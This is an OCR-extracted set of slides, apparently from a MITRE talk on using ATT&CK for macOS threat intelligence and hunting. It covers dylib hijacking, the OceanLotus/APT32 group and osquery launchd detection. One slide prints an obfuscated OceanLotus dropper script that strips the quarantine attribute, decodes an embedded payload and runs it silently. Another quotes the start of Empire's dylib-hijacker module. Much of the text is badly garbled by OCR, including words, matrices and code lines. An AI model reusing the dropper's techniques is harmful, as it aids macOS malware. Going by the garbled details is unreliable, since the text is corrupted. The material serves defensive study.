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ATT&CK TACTICS: THE ADVERSARY’S TECHNICAL GOALS
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ATT&CK TECHNIQUE: HOW THE GOALS ARE ACHIEVED
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ATT&CK SUB-TECHNIQUE: MORE SPECIFIC TECHNIQUE
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Hijack Execution Flow: Dylib Hijacking

Other sub-techniques of Hijack Execution Flow (11) 2 ID: T1574.004

Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find Sub-technique of: T1574
the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with erpath, which allows developers to use relative paths to specify an array of search paths used at Tactics: Persistence, Privilege Escalation, Defense Evasion

runtime based on the location of the executable. Additionally, if weak linking is used, such as the Lc_roap_weak_pyris function, an application will still execute even if an expected dylib is not present. Platforms: macOS

Weak linking enables developers to run an application on multiple macOS versions as new APIs are added. Data Sources: File: File Creation, File: File Modification, Module: Module Load
Defense Bypassed: Application control
CAPEC ID: CAPEC-471

Version: 2.0

© ©e 0 o

A ies may gain ion by inserting malicit dylibs with the name of the missing dylib in the identified path.“"zl[a"‘] Dylibs are loaded into an application's address space allowing the malicious
dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection

from security products since the execution is masked under a legitimate process.[’ﬂ[ﬁ““
Created: 16 March 2020
Last Modified: 27 April 2021
Version Permalink

Procedure Examples

D Name Description

S0363 Empire Empire has a dylib hijacker module that generates a malicious dylib given the path to a legiti dylib of a vull bl ication.®!

Mitigations

D Mitigation Description
M1022 Restrict File and Directory Permissions Set directory access controls to prevent file writes to the search paths for applications, both in the folders where applications are run from and the standard dylib folders.
Detection

Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor
which versions have historically been loaded into a process.

Run path dependent libraries can include Lc_LoAD_DYLIB, LC_LOAD_WEAK DYLIB,and Lc_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path,and @executable path 19 These loader instructions can be examined for individual binaries or frameworks using the

otool -1 command. Objective-See's Dylib Hijacking Scanner can be used to identify icatit to dylib hij i8]
References
1. Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021. 6. Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.
2. Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021. 7. Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021.
3. Wardle, P, Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1,2021. 8. Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.
4. Wardle, P, Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021 9. Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021.

5. Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.
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TECHNIQUE DESCRIPTION

Home > Techniques > Enterprise > Hijack Execution Flow > Dylib Hijacking

Hijack Execution Flow: Dylib Hijacking
Other sub-techniques of Hijack Execution Flow (11) v

Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim
application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths
to dylibs may be prefixed with erpath, which allows developers to use relative paths to specify an array of search paths used at
runtime based on the location of the executable. Additionally, if weak linking is used, such as the L.c_roap weak pyriB function, an
application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple

macOS versions as new APIs are added.

Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.["I2I314] pylibs are
loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based

on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from

security products since the execution is masked under a legitimate process.®l61l7]
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TECHNIQUE EXTERNAL REPORTING

Home > Techniques > Enterprise > Hijack Execution Flow > Dylib Hijacking

Hijack Execution Flow: Dylib H

Jacking

The (in)famous OSX.FlashBack.B [22] malware abused DYLD_INSERT_LIBRARIES to maintain
persistence by targeting users’ browsers:

“A DYLD_INSERT_LIBRARIES environment variable is also added to the targeted
browsers as a launch point. This is done by inserting a LSEnvironment entry to the
corresponding Info.plist of the browsers” [22]:

DYLD_INSERT_LIBRARIES persistence
(0SX.FlashBack.B)

c library (dylib) with an expected name in a path a victim
)s based on the sequential order of the search paths. Paths
live paths to specify an array of search paths used at

j is used, such as the Lc_roap weak DYLIB function, an

nking enables developers to run an application on multiple

» of the missing dylib in the identified path.[123I4] pylibs are
nherit the application's privilege level and resources. Based

etwgrk access. This method may also evade detection from

security products since the execution is masked under a legitimate process:
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ATT&CK: PROCEDURES

MITRE

Procedure Examples

Name  Description

S0363 Empire Empire has a dylib hijacker module that generates a malicious dylib given the path to a legitimate dylib of a vulnerable applicat&n.lgl ;

¥ master ~ Empire / lib / modules / python / persistence / osx / CreateHijacker.py /<> Jump to ~

. xorrior Fix for #1069, Fixed launcher string, which caused macho to crash, R... Latest commit efbadbd

Ax 3 contributors ‘ o Q

553 lines (401 sloc) 17.4 KB

1 import base6d

2 class Module:

3

4 def __init__(self, mainMenu, params=(]):

5

6 # metadata info about the module, not modified during runtime
7 self.info = {

8 # name for the module that will appear in module menus
9 ‘Name': 'CreateDylibMijacker',

10

1 # list of one or more authors for the module

i TAithants [Hanateisbimrdla Suarsiantl
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ATT&CK: DETECTION IDEAS
_————

Detection

Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past
behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor
which versions have historically been loaded into a process.

Run path dependent libraries can include Lc_LoAD_DYLIB, LC_LOAD_WEAK_DYLIB, and Lc_RPATH. Other special keywords are recognized by the macOS
loader are @rpath, @loader path,and fexecutable path.'%) These loader instructions can be examined for individual binarj rameworks using the
otool -1 command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking. 3]

¥ master ~ Empire / lib / modules / python / persistence | osx / CreateHijacker.py /<> Jump to ~

‘ xorrior Fix for #1059. Fixed launcher string, which caused macho to crash. R... . Latest commit efba9bqd

A 3 contributors . o @

553 lines (401 sloc) 17.4 KB

import base64
class Module:

def __init__(self, mainMenu, params=[]):

# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
‘Name': 'CreateDylibHijacker',

1
2
3
4
5
6
¥/
8
9

10

11 # list of one or more authors for the module

12 ‘Author': ['@patrickwardle,@xorrior'],

13

14 # more verbose multi-line description of the module

15 ‘Description': ('Configures and Empire dylib for use in a Dylib hijack, given the pat
16
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ATT&CK: DETECTION IDEAS

MITRE

T
Detection

Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past
behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor
which versions have historically been loaded into a process.

Run path dependent libraries can include Lc_LoAD_DYLIB, LC_LOAD_WEAK_DYLIB, and Lc_RPATH. Other special keywords are recognized by the macOS
loader are @rpath, @loader_path,and @executable_ path . These loader instructions can be examined for individual binarjesssframeworks using the
otool -1 command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking;"/%!

Getting Root with Benign AppStore Apps

July 2,2019

In this guest blog post, “Objective by the Sea” speaker,
way to get root via Apps from the official Mac App Store.

Csaba Fitzl writes about an interesting

His research was originally presented at “Objective by the Sea” v2.0. Check out his slides,
“Getting Root with Benign AppStore Apps”.

whoami
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WHAT’S DIFFERENT ABOUT ATT&CK FOR MAC?

= Built in hardware security (Notarization)
» Opt-in Programs (Gatekeeper, Sandbox)
= Mic drop hardware changes

» Local Admin for everyone!

= Exploitation verses behavior

= Lacking Documentation

* Limited reporting (especially on adversary behaviors)
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INTRO TO OCEAN LOTUS

« 2012-present - believed to be the

Vietnamese government
 MacOS, Windows, Android Spyware

 Human rights + Viethamese interests

AMNESTY

INTERNATIONAL
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ATT&CK Postures

Cyber Threat Threat Hunting Adversary Engineering &
Intelligence Emulation Assessment
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Using ATT&CK for ...

Cyber Threat
Intelligence
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ATT&CK FOR CTI

 CTlin ATT&CK
« CTI from external reporting

« CTI from your own data

MITRE  ©2021 The MITRE Corporation. ALL RIGHTS RESERVED. Approved for public release. Distribution
unlimited 21-00706-16




OCEANLOTUS IN ATT&CK

Matrices Tactics ~ Techniques ~ Mitigations ~ Groups Software Resources ~ Blog (¢ Contribute Search Q_

ijome > Groups > APT32

APT32

APT32 is a threat group that has been active since at least 2014. The group has targeted multiple private

sector industries as well as with foreign governments, dissidents, and journalists with a strong focus on = E0050
Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used () Associated Groups: Sealotus, OceanLotus,
APT-C-00

strategic web compromises to compromise victims. The group is believed to be Vietnam-based."2%3)
Contributors: Romain Dumont, ESET

Version: 2.4
Created: 14 December 2017
Last Modified: 20 April 2021

OceanlLotus

Version Permalink

Associated Group Descriptions

Name Description

Sealotus 4

OceanlLotus (1] (2)4](s)[&)
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ATT&CK TECHNIQUES FROM A GROUP PAGE

Techniques Used
Domain D Name
Enterprise  T1087 .001 = Account Discovery: Local Account
Enterprise  T1583 .001 = Acquire Infrastructure: Domains
.006 Acquire Infrastructure: Web Services
Enterprise  T1071  .001 = Application Layer Protocol: Web
Protocols
.003 = Application Layer Protocol: Mail
Protocols
Enterprise  T1560 Archive Collected Data
Enterprise  T1547 .001 Boot or Logon Autostart Execution:
Registry Run Keys / Startup Folder
Enterprise  T1059 Command and Scripting Interpreter
.001  PowerShell

ATT&CK® Navigator Layers ~

APT32 enumerated administrative users using the command:

localgroup administrators AITI

APT32 has set up and operated websites to gather informatiol
deliver malware."®)

APT32 has set up Dropbox, Amazon S3, and Google Drive to h
malicious downloads.'®!

APT32 has used J ipt that comir over HTTP or
attacker controlled domains to download additional fr
group has also used d loaded encrypted payloads over H

APT32 has used email for C2 via an Office macro. "7/

APT32's backdoor has used LZMA compression and RC4 encryption

before exfiltration.'"!

APT32 established persistence using Registry Run keys, both

PowerShell and VBS scripts as well as to execute their backd:
“l7s)

APT32 has used COM scriptlets to download Cobalt Strike be:

APT32 has used PowerShell-based tools, PowerShell one-lin
de loaders for 114171

\
st

MITRE

Software

D Name References  Techniques
S0099 = Armp 17)
S0154 = Cobalt Strike (YR2A4l(72ie}

[6)

OceanlLotus

System Network Configuration Discovery

Abuse Elevation Control Mechanism: Bypass User Account Control, Access Token
Manipulation: Toeken Impersonation/Theft, Access Token Manipulation: Parent PID Spoofing,

Access Token Manipulation: Make and Impersonate Token, Account Discovery: Domain
Account, Application Layer Protocol, Application Layer Protocol: DNS, Application Layer
Protocol: Web Protocols, BITS Jobs, Command and Scripting Interpreter: Windows Command
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OCEAN LOTUS TECHNIQUES OVERLAP WITH MAC ATT&CK

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

X X Command X . Abuse Elevation Abuse Elevation
Drive-by Compromise and Scripting Interpreter Account Manipulation Control Mechanism Control Mechanism Brute Force
Exploit o AppleScript Boot or - Boot or - Deobfuscate/Decode Credentials
Public-Facing Application ppleScrip Logon Autostart Execution Logon Autostart Execution Files or Information from Password Stores
Kernel Kernel Exploitation

Hardware Additions

Phishing

Spearphishing
Attachment

Spearphishing Link

Spearphishing
via Service

Supply Chain Compromise

Unix Shell
Visual Basic

JavaScript

Exploitation

for Client Execution

Native API

Modules and Extensions

Modules and Extensions

Execution Guardrails

for Credential Access

Account Discovery

Local Account

Domain Account

Exploitation
of Remote Services

Internal Spearphishing

Lateral Tool Transfer

Command and Control

Exfiltration

Impact

Archive Collected Data

Audio Capture

Automated Collection

Boot or Logon
Initialization Scripts

oot or Logon

Browser Extensions

reate
r Modify System Process

B
Initialization Scripts
c
o

Compromise
Client Software Binary

Launch Agent

Trusted Relationship

Scheduled Task/Job

Create Account

Launch Daemon

: Create
Valid Accounts Launchd or Modify System Process
Default Accounts Cron Event Triggered Execution

Domain Accounts

Local Accounts

MITRE

Software Deployment Tools

System Services

Hijack Execution Flow

Event Triggered Execution

Exploitation

for Privilege Escalation

Hijack Execution Flow

Hide Artifacts

Hidden
Files and Directories

Hidden Users

Hidden Window

Hidden File System

Run Virtual Instance

Modify
Authentication Process

Dynamic
Linker Hijacking

VBA Stomping

Keylogging

GUI Input Capture

Web Portal Capture

Man-in-the-Middle

File
and Directory Discovery

Network Service Scanning
Network Share Discovery

Network Sniffing

Modify
Authentication Process

Password Policy Discovery

Network Sniffing

0S Credential Dumping

Steal Web Session Cookie

1 Launchctl

Scheduled Task/Job

User Execution

Malicious Link

Malicious File

Server Software Component

Web Shell

Traffic Signaling

Dylib Hijacking

rocess Injection

Scheduled Task/Job

Hijack Execution Flow

Two-Factor Authentication
Interception

Impair Defenses

Unsecured Credentials

Indicator Removal on Host

Credentials In Files

Launchd

Clear Linux
or Mac System Logs

Bash History

Valid Accounts

Cron

Default Accounts

alid Accounts

<

Domain Accounts

Local Accounts

Default Accounts

Domain Accounts

Local Accounts

Clear Command History
File Deletion

Timestomp

Masquerading

Invalid Code Signature
Right-to-Left Override

Rename System

Match Legitimate
Name or Location

Space after Filename

Modify
Authentication Process
Obfuscated

Files or Information

Binary Padding

Software Packing

Steganography

Compile After Delivery

Indicator
Removal from Tools

Process

Rootkit

subvert Trust Controls

Traffic Signaling

Valid Accounts

Default Accounts

Domain Accounts

Local Accounts

Virtualization/Sandbox
Evasion

Private Keys

Peripheral
Device Discovery

Permission
Groups Discovery

Process Discovery

Remote System Discovery

Sof tware Discovery

System
Information Discovery

System Location Discovery

System Network
Configuration Discovery
System Network
Connections Di

covery
System

Owner/User Discovery
Virtualization/Sandbox
Evasion

o . Exploitation X Application Remote X
Re-opened Applications Re-opened Applications for Defense Evasion Forge Web Credentials Window Discovery Service Session Hijacking Clipboard Data
: . R : s R File and Directory Browser : Data from
Plist Modification Plist Modification Permissions Modification Input Capture Bookmark Discovery Remote Services Information Repositories

Application

Layer Protocol

Web Protocols

e Transfer Protocols

Mail Protocols

Data from Local System

Communication
Through Removable Media

Data
from Network Shared Drive

Data Encoding

Data from Removable Media

Data Obfuscation

Automated Exfiltration

Account Access Removal

Data Transfer Size Limits

Data Destruction

Exfiltration
Over Alternative Protocol

Data Encrypted for Impact

Exfi

ation Over Symmetric
Encrypted Non-C2 Protocol

Data Manipulation

Exfi

ation Over Asymmetric

Exfiltration
Over C2 Channel
Exfiltration

Over Other Network Medium

Defacement

Disk Wipe

Endpoint
Denial of Service

Firmware Corruption

Data Staged

Dynamic Resolution

Exfiltration
Over Physical Medium

Inhibit System Recovery

Input Capture

Keylogging

GUI Input Capture

Web Portal Capture

Encrypted Channel

Exfiltration
Over Web Service

Network Denial of Service

Fallback Channels

Ingress Tool Transfer

Multi-Stage Channels

Man-in-the-Middle

Screen Capture

Video Capture

Non-Application
Layer Protocol

Non-Standard Port

Protocol Tunneling

Proxy

Remote Access Software

Traffic Signaling

Scheduled Transfer

Resource Hijacking

Generated from ATT&CK Navigator
bit.ly/attacknav
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CEAN LOTUS TECHNIQUES

[ Reconnai ssance

Resource Development

Active Scanning

Gather Victim Host Information

Gather Victim Org Information

Acquire Infrastructure

Initial Access
Drive-by Comprom
Exploit Public-Facing Application

Compromise Accounts

DNS Server External Remote Services
Virtual Private Server Hardware Additions
Server Phishing

Botnet

c R

|Phishing for Information

rphishing Service

Develop Capabilities

Supply Chain Compromise
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Windows Command Shell
Savadoript

Persistence Privilege Escalati Defense Evasion Credential Access Discovery Collecti Command and Control Impact
[Rccount anipulation T [asere sievacion con T~ [Abwe sievation control tecranion Brute Force Acoount Discovery Archive Collected Dat Application Layer Protocol [Rutonated Exfiltration ‘Account Access Removal
[B175 Jobs | [Access Token Hanipulat | [Access Token manipulat Cratentiats fron Fesswerd Stores Audio Capture Web Protocol. [bate Transfer size Limits bata Destruction
oo o Logen Rtorsars Erecril 8118 Jobs Expioitasion for Ceaderial hecess Autonatea Collection bata Encrypted for Tmpact

Authentication Package

Authentication Package
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Forced Authentication

JEmail Account

Clipboard Data

Direct Volume Access
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Mail Protocols
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Time Providers

Domain Policy Modification

Winlogon Helper DLL

Winlogon Helper DLL
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Security Support Provider
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Input Capture

GUI Input Capture
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| Web Portal capture
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Re-opened Applications

Spearphishing Attachment

Search Closed Sources
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Email Accounts

Trusted Relationship

[Native apT

P!
LSASS Driver

LSASS Driver

Valid Accounts

[Scheduled Task/Job

Shortcut Modification

Shortcut Modification

Default Accounts
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W Launch Agent

Hijack Execution Flow
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Systemd Service
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Peripheral Device Discovery
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Process Discovery
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Sof tware Discovery
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Event Triggered Execution DLL Search Order Hijacking
External Remote Services Hijack Execution Flow
Hijack Execution Flow

Credentials In Files

Dynamic Linker Hijacking
|Dylib Hijacking

[ cor_erorriEr

Impair Defenses

Bash History
[ Private Keys |
[Geoup Poticy preferences |

Clear Command History

File Deletion

DLL Search Order Hijacking
DLL Side-Loading

Dynamic Linker Hijacking
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TECHNIQUES FROM OCEAN LOTUS’ MALWARE

Resource Initial Access Privilege Escalati Defense Evasion Access Lateral Movement Collection Command and Control Exfiltrati Impact
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PULLING IT ALL TOGETHER

Execution Persist
Command and Scripting Interpreter Account Manipulation
PowerShell BITS Jobs

AppleScript Boot or Logon Autoste

Windows Command Shell

Exploit Public-Facing Application
f External Remote Services
Hardware Additions

Phishing
! Spearphishing Attachment
| Spearphishing Link
Spearphishing via Service
Replication Through Removable Media Network Device CLI

Supply Chain Compromise |Cop}ainer Administration Command

— = —— .

Registry Run Keys /
Unix Shell Authentication Pa

Visual Basic Time Providers
Python Winlogon Helper D
JavaScript Security Support
Kernel Modules an
| Re-opened Applic

Dennis, Goopy, SOUNDBITE,
KOMPROGO, PHOREAL,
WINDSHIELD, OCEANLOTUS.D/F,
and Kerrdown

B = Ocean Lotus
I = Ocean Lotus’ Software

I = Both

@coolestcatiknow
@ _whatshisface

MITRE ©2021 The MITRE Corporation. ALL RIGHTS RESERVED. Approved for public release. Distribution unlimited 21-00706-16




,/
K\
%

Afterwards, the persistence file will be create s /L/bra /LaunchDemons/ )

e e .. = A 3

e " RS J system starts up, wle the KeepA//ve
reate or v 0| y ystem rocess aunc aemon )/

J 1 5

A gptpaiond o
A ranomygenerate |e a e an |me ))

— e — o~

\ S e e A LB ""

K T1543 4—"

e R — S

// \
ﬂle |saso setto /e "a a

'&.—-_W"«hv - - -

s TP )

For the initial mform thﬂ packet, the backdoc

!\

——— o — g

T1564.001 — Hide Artlfacts Hldden F|Ies and Directorie _ﬂ

S —
o —— — - —

uT 1 070 006 — Indlcator Removal on Host Tlme ’-p:}) R

——

e — B e — ~ e

- T —- -

sw vers -product Jersion ) cwitty
——— =

-—m-ﬁ"-bv B =S

T1 033 - — % System Owner er Dlscor ) _(T1082 - ystem Informa ion Dlsco
: 1

N e e it

-ﬂ-’-—--——-'wu A e —

. OS> version 4

',,' i P T O LaD

Runi |ng ge ,OWUI ->w nae Vscutil - —get ompu er o] @.\ and uname - — W|T

e / \..._.....,.,..,..,.-,«.a,p "

respectively:

| ro vide the following returns

From: https://www.trendmicro.com/en_us/research/18/d/new-macos-backdoor-linked-to-oceanlotus-found.html
MITRE ©2021 The MITRE Corporation. ALL RIGHTS RESERVED. Approved for public release. Distribution unlimited 21-00706-16

@coolestcatiknow
@ _whatshisface




ATT&CK MAPPING PROCESS

() MITRE | ATT&CK'
. Find the behavior

Research the behavior Best Practices for
Identify the Tactic(s) MITRE ATT&CK®

Identify the Technique(s) Mapping
Identify the Su b-Techniq ue(s) https://us-cert.cisa.gov/best-practices-mitre-attckr-mapping

Compare notes =

MITRE
ATT&CK
Defender

LI R U=

https://www.cybrary.it/course/mitre-attack-defender-mad-attack-for-cyber-threat-intelligence
@coolestcatiknow
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LEVERAGING INTERNAL INTEL

= Map internal reporting

= GitHub resources

* In-depth technical products

* Red & Threat Hunting teams

* Honeypot Reports

= Binary analysis

MITRE

0x00401d07
0x00400ba0
0x00403480
0x0040274c 17 1998
0x00401600 989
0x00400f6d 23 582
0x00401785 2) S
0x004033f0 4 101
A0
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> ] VIRUSTOTAL

sym.my_ecb_crypt
sym.imp.__stack_chk_fail
sym._fini

sym._des_crypt
sym.crypt_1mb
sym.bypass_dir
sym.crypt_all
sym.__libc_csu_init
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#!/bin/bash
NiIASKWgwKHzfjHn="$( cd "$( dirname "${BASH_SOURCE[@]}" )" >/dev/null 2>&1 &
RLIQXaUXkiFodbEn="$( basename "${BASH_SOURCE[@]}" )" s
asFaGDyzpKvtLaSb="<giant base64 removed for readability>" & [
TEMPPATH_IOP="Contents/Resources/configureDefault.def" L=
krcxhMaZjArWHDX0="ALL tim nha Chi Ngoc Canada.doc"
crkEVUWKhhdHDpNy="'cXzxXRFWYXstJJZX"

1s ~/Downloads

if [[ $? == 0 1]; then

find ~ —-name "*$RLIQXaUXkiFodbEnx" -exec xattr -d com.apple.quarantine {}
if [[ $NiIASKWgwKHzfjHn == x"AppTranslocation"x ]]; then

md5="$( md5 "$NiIASKWgwKHzfjHn/$RLIQXaUXkiFodbEn" | cut -d '=' -f 2 )"
A="$( dirname "$NiIASKWgwKHzfjHn/$RLIQXaUXkiFodbEn" )"

rh5="$( basename "${A}" )"

find ~ —type f —name "$RLJIQXaUXkiFodbEn" -exec md5 {} + | grep $md5 | grep '|
sh & >/dev/null 2>&1 b
else

AmLGEEGPFKiYFBxM="$( dirname "$NiIASKWgwKHzfjHn/$RLIQXaUXkiFodbEn" )"
FuTJofXeGGrB1lROx="$( dirname "$AmLGEEGPFKiYFBxM" )"

cp "$AMLGEEGPFKiYFBxM/$TEMPPATH_IOP" "/tmp/$krcxhMaZjArwWHDX0" && of - ~————swmem , — e
echo $asFaGDyzpKvtLaSb | base64 -D > ”$AmLGEEGPFKiYFBxM/$TEMPPATH_]ﬁ\ | CO! , ‘;S)FBXM/
$TEMPPATH_IOP" & >/dev/null 2>&1 - — f g

sleep 3 ; rm -rf "$AmLGEEGPFKiYFBXM" ; mv "/tmp/$krcxhMaZjArwWHDX0" "$F /;’
$krcxhMazZjArWHDX0" &

killall -9 find

A}
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Using ATT&CK for ...

Threat Hunting

MITRE  ©2021 The MITRE Corporation. ALL RIGHTS RESERVED. Approved for public release. Distribution
unlimited 21-00706-16




source Development Tnitial Access Execution Persistence Frivilege Escalation Credential Acces: T Hovenen Goiection Command and Control Exfiltration Tnpa
ctive Seanning Goguize Infrastructure Drive-by Compromi: [buse Elevation Control Wechanisn Broce Force hrchive Collected Daca o [tomated Exeil [ [Aecount Access Removal
[ccess Toxen Crodentiols from Fassord Storer e protocols Data Transfer Size Limits ata Destruction
Gathor Victin Lden Boot_or Logon Ruzostart Execution ntial Accoss Exilixation over hltermative Frotaol Data Encrypted for Tmpact
Hardware Additions Ar Mail Protocols aeiieracion cvr tymmetei nerypes we-ct proeeer Data Manipulation
Enail Addresses Package udio Capture ous rr—r———y— Defacenent
ine Providers utonated Collection Communication Through Removable Wedia Disk uij
inlogon telper DL Lipboara Data Data Encoding Extiltration Over c2 Channel Endpoint Danial of Service
5 Information ecurity Support Provid Clowa ata fron Cloud Storage Gbjec = Firmare Corruption
Formation [ Kornol todules and Extensions Cloud Service bashboar ata fron Repository Tohibit System Recovery
| Ro-openod Applications Cloud Service Discovery ata fron information Aepositorior Notuork Donial of Service
s - Contalner and Resource Discover Data fron Local System Resource il jacking
horteut Data_from Netvork Shared Drive ‘Tranafer Data to cloud Account Service Stop
rt_Honitors Software Deployn ata from Removable System
o Accounts Tist Fide areifacts ‘Taint Sharea Content. Data stagea
Local Account + Processors Gidden Files and Directories L5ASS Hemory Use Aiernate Authentication Meterisl T Cottection
ol ¥0G Autostart Entries Laden Usozs Security Account Hanager the o
<ive sotup NToS
2t or_Logon Scripts [Boot_or_Logor Seripts DCSync p GUI_Input Capture
Drive-by Target [Browser Extensions Create or Modify System Process Proc Filesystem Web Portal Capture
= [conpronise ciient softvare Biner 3 Jetc/passud_and /etc/shadon Process Discovery [ credential apt nooxing Remote Access Softuare
[create account Systema service e Stompin: Cached Domain Credentials isery fan_in the browser Signaiin
= o Lo Secrets 5 ysten Discovery Haninthe-idile
sunch Daemo Services File barnissions Heskness [Steal Appiication Access Token
Domain Policy Moditication vt T e e et Steal or Forge Kerberos Tickets Systen Information Discovery Video Capture
Escape to Host Services Wegirtry Poraissions Veskners Steal web Session Cookic
Event Trigered Execution uoted ra Two-Factor Interception tem Network Configuration Discovery
atic

Services File Perniasions Geskness

Windovs Managoment Instzunentation

Erivare Ters

o trearoption by seseeh orser SLsering

Disable or Hodify Systen Firevall
Tndicator Blocking
Disable or Hodify Cloud Firevall
brary Injection Disable Cloud Log

njection

DyLib Bijacking
COR_PROFILER

Tnplant Internal image Ll
hioaify rtable Executable 1

5
ithent ication Frocess

hresd Execution Aijacking
rocedura Call Clear Linux

| Thread Local Storae ear C:

{ Ptrace system calls

Injection

[Tt

i brocess
hodiy Cload conpute Infrastructere

Modify Systen Inage
Totuork poundary pridgin

Steganograph;

Compile After belivery

Tndicator Removal from Tools
Fro-os poor

amic-link Library Injection

[Perace systen Calls |

Proc Hemor,

Extra window Hemory Injection
Loingin

Dennis, Goopy, SOUNDBITE,
KOMPROGO, PHOREAL,
WINDSHIELD, OCEANLOTUS.D/F,
and Kerrdown

Ocean Lotus
E Ocean Lotus’ Software
J— = Both

i
e s

i
Sandbox_Fvasion

@coolestcatiknow
@ _whatshisface

MITRE ©2021 The MITRE Corporation. ALL RIGHTS RESERVED. Approved for public release. Distribution unlimited 21-00706-16




DATA SOURCES

Most Relevant Data Componenets (Top 15)
Enterprise Techniques

Command Execution 155
Process Creation 119
File Modification 66
File Creation 54
Network Traffic Content 49
Network Traffic Flow 45
OS API Execution 38
Windows Registry Key Modification 37
Module Load 35
Application Log Content 28
Network Connection Creation 28
File Access 24
Logon Session Creation
File Metadata 20

User Account Authentication 1 13

T T T T T T

20 40 60 80 100 120 140
Count of Sub-Techniques

MITRE @coolestcatiknow
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WHAT DO | HUNT?

« Usage, bottleneck, data

* Auto-runs -> (tactic == persistence)

+ ldentify macOS techniques

associated with OceanlLotus

MITRE
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Persistence

BITS Jobs
Boot or LogonjAutostart Execution
Registry Ru Keys / Startup Folder
Authentigfition Package
Time Progiders
Winlogof Helper DLL
s.curii Support Provider
Kernel jModules and Extensions
Re-opefled Applications
LSASS Priver
Shortcy§t Modification
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Plist Mpdification
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XDG Autdptart Entries
Active Sdtup
Boot or Logo‘ Initialization Scripts
Browser Extefsions
Compromise Cl¥ent Software Binary
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Launch Agent
Windows Service
Launch Daemon

External Remote Services
Hijack Execution Flow
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Modify Authentication Process

Office Application Startup
Pre-0S Boot
Scheduled Task/Job
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Scheduled Task

At (Linux)

Launchd

Cron

Systemd Timers

Container Orchestration Job
Server Software Component
HSQL Stored Procedures

|

Transport Agent
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%alid Accounts

Default Accounts
Domain Accounts

Cloud Accounts




RESEARCH

Create or Modify System Process: Launch Agent

Other sub-techniques of Create or Modify System Process (4) ID: T1543.001

Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part Sub-technique of: T1543

of persistence. Per Apple’s developer documentation, when a user logs in, a per-user launchd @ Tactics: Persistence, Privilege
Escalation

( Platforms: mac0S

process is started which loads the parameters for each launch-on-demand user agent from the
property list (plist) files found in /system/Library/LaunchAgents, /Library/LaunchAgents, and

$HOME/Library/LaunchAgents |12 Bl These launch agents have property list files which point (® Permissions

Required: Administrator, User
to the executables that will be launched . D : :

( Data Sources: Command: Command
Adversaries may install a new launch agent that can be configured to execute at login by using Execution, File: File Creation, File: File
Modification, Service: Service Creation,
Service: Service Modification

launchd or launchctl to load a plist into the appropriate directories ! ¥l The agent name may be
disguised by using a name from a related operating system or benign software. Launch Agents )
are created with user level privileges and are executed with the privileges of the user when they SO
log in 71 8] They can be set up to execute when a specific user logs in (in the specific user’s Created: 17 January 2020

directory structure) or when any user logs in (which requires administrator privileges). Last Modified: 25 March 2020

Version Permalink

@coolestcatiknow
@ _whatshisface

MITRE ©2021 The MITRE Corporation. ALL RIGHTS RESERVED. Approved for public release. Distribution unlimited 21-00706-16




DATA SOURCES

S S I_a U n C h Ag e nt | zz + ATT & CKm I’squery/ packs / incident-response.conf

:4) ¥ ID: T1543.001 adding platform tag incident-response pack (#4155)

Sub-technique of: T1543
i ke " om
(® Tactics: Persistence, Privilege S ¥ conriuion g Q o - ' 0 .

Escalation

ous payloads as part
ier-user launchd

ser agent from the
//LaunchAgents , and @ Platforms: mac0S (@ 283 lines (283 sloc) 13.5 KB

(i) Permissions

st files which point : T T——
Required: Administrator, User 2 I “queries": {
@ Data Sources: Command: Command 3| "launchd": {
+ at login by using Execution, File: File Creation, File: File . “GRBEYT & TABRGLL = LTMM LAUACL s
. . . . . S “interval" : "3600",
\gent name may be Mod.lﬁcatlon,.Serwce: Ser\{lce Creation, ) wolatforn® : “darwin®,
Service: Service Modification . o .
re. Launch Agents . 7 version" : "1.4.5",
he user when they Version: 1.0 8 "description" : "Retrieves all the daemon$ that will run
: e 9 “value" : "Identify malware that uses th#s persistence me
specific user's Created: 17 January 200 ,‘ , .
vileges). Last Modified: 25 March 2028 11 “startup_items": {
12 “query" : "select * from startup_items;",
X X 13 "interval" : "86480",
Version Permalink )
14 “platform" : "darwin",
I iknow
MITRE ©2021 The MITRE Corporation. ALL RIGHTS RESERVED. Approved for public release. Distribution unlimited 21-00706-16 @coolestcat %
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BUILDING USE CASES

Procedure Examples

Name

Bundlore

Calisto

